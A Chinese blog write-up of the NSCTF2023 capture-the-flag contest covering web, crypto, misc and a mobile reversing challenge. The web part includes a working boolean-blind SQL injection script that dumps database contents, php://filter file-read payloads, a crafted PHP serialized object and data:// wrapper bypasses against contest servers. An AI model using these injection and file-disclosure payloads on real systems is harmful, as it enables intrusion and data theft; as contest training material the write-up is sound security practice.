第六届宁波市赛 [NSCTF2023] 部分web+部分misc+部分密码+mobile

前言

只有web,misc是我写的,剩下的都是队的师傅写的,我是飞舞,就这样

Web

Query

查看源码有hintlogin.php,然后有显示登录界面

image-20230520153206872

利用万能密码进行登录,有回显
image-20230520153637646

回显是登陆成功利用脚本进行布尔盲注

import requests
import string

url="http://d574c221d2a0f4da.node.nsctf.cn/login.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,999):
    print(i)
    for j in range(32,128):

        # 库名
        #s = f"-1'/**/or/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))/**/like/**/{j},1,0)#"

        # 表名
        #s = f"-1'/**/or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),{i},1))/**/like/**/{j},1,0)#"

        # 列名
        #s = f"-1'/**/or/**/if(ascii(substr((select/**/group_concat(column_name)frOm/**/information_schema.columns/**/where/**/table_name/**/like/**/'f111'),{i},1))/**/like/**/{j},1,0)#"

        s = f"-1'/**/or/**/if(ord(substr((select/**/group_concat(flagdata)/**/from/**/ctf.f111),{i},1))/**/like/**/{j},1,0)#"

        data={
            'username':s,
            'password':1
        }

        r=requests.post(url,data=data)
        if "登录成功" in r.text:
            flag+=chr(j)
            print(flag)
            break

运行脚本得出flag

image-20230520154409436

Deserialization

按f12得到hint

//The location of the flag is at route.php
$read = $_POST["read"];
$input = $_POST["input"];
if(!isset($read) or !isset($input))
{
    die("NONONO!");
}
if(strpos($read, "f14g")===FALSE)
{
    include($read);
    $input = unserialize($input);
    $input2 = clone $input;
    $input2->position = "route.php";
}
else{
    die("NONONO!"); 
}

构造payload读取route.php文件源码

read=php://filter/read=convert.base64-encode/resource=route.php&input=1

base解密得到代码:

<h1>Here can you find the position of the flag!</h1>

<?php

$position = "f14g.php";
$gadget = "h1nt.php";

?>

相同方法查看h1nt.php:

read=php://filter/read=convert.base64-encode/resource=h1nt.php&input=1

解密得:

<?php
class test
{
    public $position;
    public function __clone(){  
        echo file_get_contents($this->position); 
        return $this->position;
    }
}  
?>  

然后反序列化,使position的值设置为可以读取f14g.php的payload

class test
{
    public $position ;
    public function __construct($position){
        $this ->position = $position;
    }

    public function __clone(){
        echo file_get_contents($this->position);
        return $this->position;
    }
}

$input = new test("php://filter/read=convert.base64-encode/resource=f14g.php");
print (serialize($input).PHP_EOL);

传入参数

read=h1nt.php&input=O:4:"test":1:{s:8:"position";s:57:"php://filter/read=convert.base64-encode/resource=f14g.php";}

base64解密得到flag

CodeCheck

f12得到hint

 
$flag = "***********";
if(!isset($_GET['a']) or !isset($_GET['b']))
{
    die("NONONO");
}
if(file_get_contents($_GET['a'])!== "flag")
{
    die("NONONO");
}
if(file_get_contents($_GET['b'])!==$_GET['c'])
{
    die("NONONO");
}
if(isset($_GET['d']))
{
    include($_GET['d']);
}

说明我们要传入a的文件内容是flag

并且需要让b的文件内容和c传入的参数相同

然后传入d,利用include()函数来读取文件

get传参

http://96d9f0fc6195d0b3.node.nsctf.cn/?a=data://text/plain,flag&b=data://text/plain,flag&c=flag&d=php://filter/read=convert.base64-encode/resource=index.php

base64解密得到flag

image-20230520132525105


Crypto

secret

e,phi不互素,脚本直接梭

p=134261118796789547851478407090640074022214132682000430136383795981942884853000826171189906102866323044078348933419038543719361923320694974970600426450755845839235949167391987970330836004768360774676424958554946699767582105556239177450470656065560178592346659948800891455240736405480828554486592172443394370831
q=147847444534152128997546931602292266094740889347154192420554904651813340915744328104100065373294346723964356736436709934871741161328286944150242733445542228293036404657556168844723521815836689387184856871091025434896710605688594847400051686361372872763001355411405782508020591933546964183881743133374126947753
n=19850163314401552502654477751795889962324360064924594948231168092741951675262933573691070993863763290962945190372400262526595224437463969238332927564085237271719298626877917792595603744433881409963046292095205686879015029586659384866719514948181682427744555313382838805740723664050846950001916332631397606277703888492927635867870538709596993987439225247816137975156657119509372023083507772730332482775258444611462771095896380644997011341265021719189098262072756342069189262188127428079017418048118345180074280858160934483114966968365184788420091050939327341754449300121493187658865378182447547202838325648863844192743
c=13913396366755010607043477552577268277928241319101215381662331498046080625902831202486646020767568921881185124894960242867254162927605416228460108399087406989258037017639619195506711090012877454131383568832750606102901110782045529267940504471322847364808094790662696785470594892244716137203781890284216874035486302506042263453255580475380742959201314003788553692977914357996982118328587119124144181290753389394149235381045389696841471483947310663329993873046123134587149661347999774958105091103806375702387084149309542351541021140111048408248121408401601979108510758891595550054699719801708646232427198902271953673874
e=28
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e,phi)
t1 = e // t
dt1 = gmpy2.invert(t1,phi)
mt1 = pow(c,dt1,n)
s,m = gmpy2.iroot(mt1,t)
print(long_to_bytes(s))

Morse的笔记本

secret.txt中是一句话,将标点符号单独取出

。,,。!。,!。。。!。。。!。,,!,,,!。,。!,。。!。。!。。。!,。,。!,,,!,。!,,。!。,。!。,!,!。。。

猜测是摩斯密码,利用在线网站解密

PASSWORDISCONGRATS,猜测是维吉尼亚密码,将附件中给的密码解密,密钥经过测试是congrats

image-20230520132827166

ciphey解出flag

image-20230520133030020

RSA

在线网站直接分解n-1,得到g

2 * 1346104232461691 *13570850594633462506426369052182298554140635599543685835372377476383038708650421475723391142118956001358520246769650699398490037618758005241062608387057439283872260149565854577827352267289963736282502923131251179400580891491236925451166755184695335564693793568286112036468975877609637392241679

利用脚本解密:

from Crypto.Util.number import inverse, long_to_bytes

g = 1346104232461691
n = 36535558847082719901201561031181835346574576610950713924924272947759193576365817762980927638691696601293089537315055413746788190208875234794229119049056299551864869870291634941246362436491006904347559559494705922259007299126640817275929491680601926404543198957206717290905220235571289759182878331893962038379
c = 532997872940452282189043430008002793694788439822465302532208754231005799057972378308576109082463996551992533174546386979606697890310597738637156771564229
a = 2694858406312563434474553988904403597551484373358339092528913028454100111881368126493990657117571672510331411186745639563619323775673115439

e = 65537
d = inverse(e, (a - 1) * (g - 1))
plaintext = pow(c, d, a * g)
decrypted_message = long_to_bytes(plaintext)

print("Decrypted message:", decrypted_message.decode())

得到flag

Decrypted message: flag{p01la4d_rHo_a1gOr1thM_r1gh4}

Misc

ZIP

附件为压缩包,要想解密需要密码,但是有hint

The art of 0 and 1, and it will remain shorter than 9.

说明密码只有0和1,并且不超过9位

利用字典生成工具生成字典

image-20230520133312598

然后对压缩包进行字典爆破解密

image-20230520133403373

爆破出密码,得到flag

SimpleDocument

010打开文件,发现PDF文件头

image-20230520142246089

手动分离文件,并且保存为PDF文件

image-20230520142546751

pdf里什么都没有,所以

转化为word文件,改变一下颜色字体,得到flag

image-20230520142613318


Mobile

peacock

1.主逻辑在test内,发现test内部加载了test库

1684561616670

1684561621104

2.找到lib里面的libtest.so文件,使用ida打开

1684561705741

在字符串窗口发现了base64加密的密文以及table

1684561748390

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
在当今的数字时代,WebMisc(其他)领域都是就业市场上具有潜力和广阔发展空间的行业。 首先,在Web领域,随着互联网的不断发展和普及,对于网站的需求也越来越大。从企业的官方网站到电子商务平台,从社交媒体到在线教育,无处不体现出Web技术和网站设计的重要性。因此,Web开发人员和设计师的需求日益增加。具备良好的前端和后端开发技术、熟悉各种Web框架和语言,以及对用户体验和界面设计有深入了解的人才,将具有更多的就业机会。同时,随着移动互联网的兴起,响应式网页设计和移动应用开发也成为就业的热门方向。 另一方面,在Misc领域,虽然概括性较广,但却存在许多与Web相关的就业机会。比如数据分析、人工智能和机器学习等领域,这些都需要大量的数据处理、算法优化以及模型设计能力。同时,网络安全、信息管理和数字化营销等专业领域也对有相关技术和知识的人才有较高的需求。此外,还有许多具体领域中的Misc工作,例如网络运维、数据库管理、系统架构设计等,也都需要有技术能力和专业知识的专业人才来支持和推动。 总结来说,WebMisc领域都有很好的就业前景。随着技术的发展和需求的增加,这两个领域所涉及的工作岗位将不断增加。对于有相关技术、技能和知识的人才来说,他们将有机会在这些领域找到一份稳定的工作,并在未来的职业发展中获得更多的机会和成长。因此,不管是选择Web还是Misc领域,学习和掌握相关的技术与知识,将为自己的就业前景打下坚实的基础。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值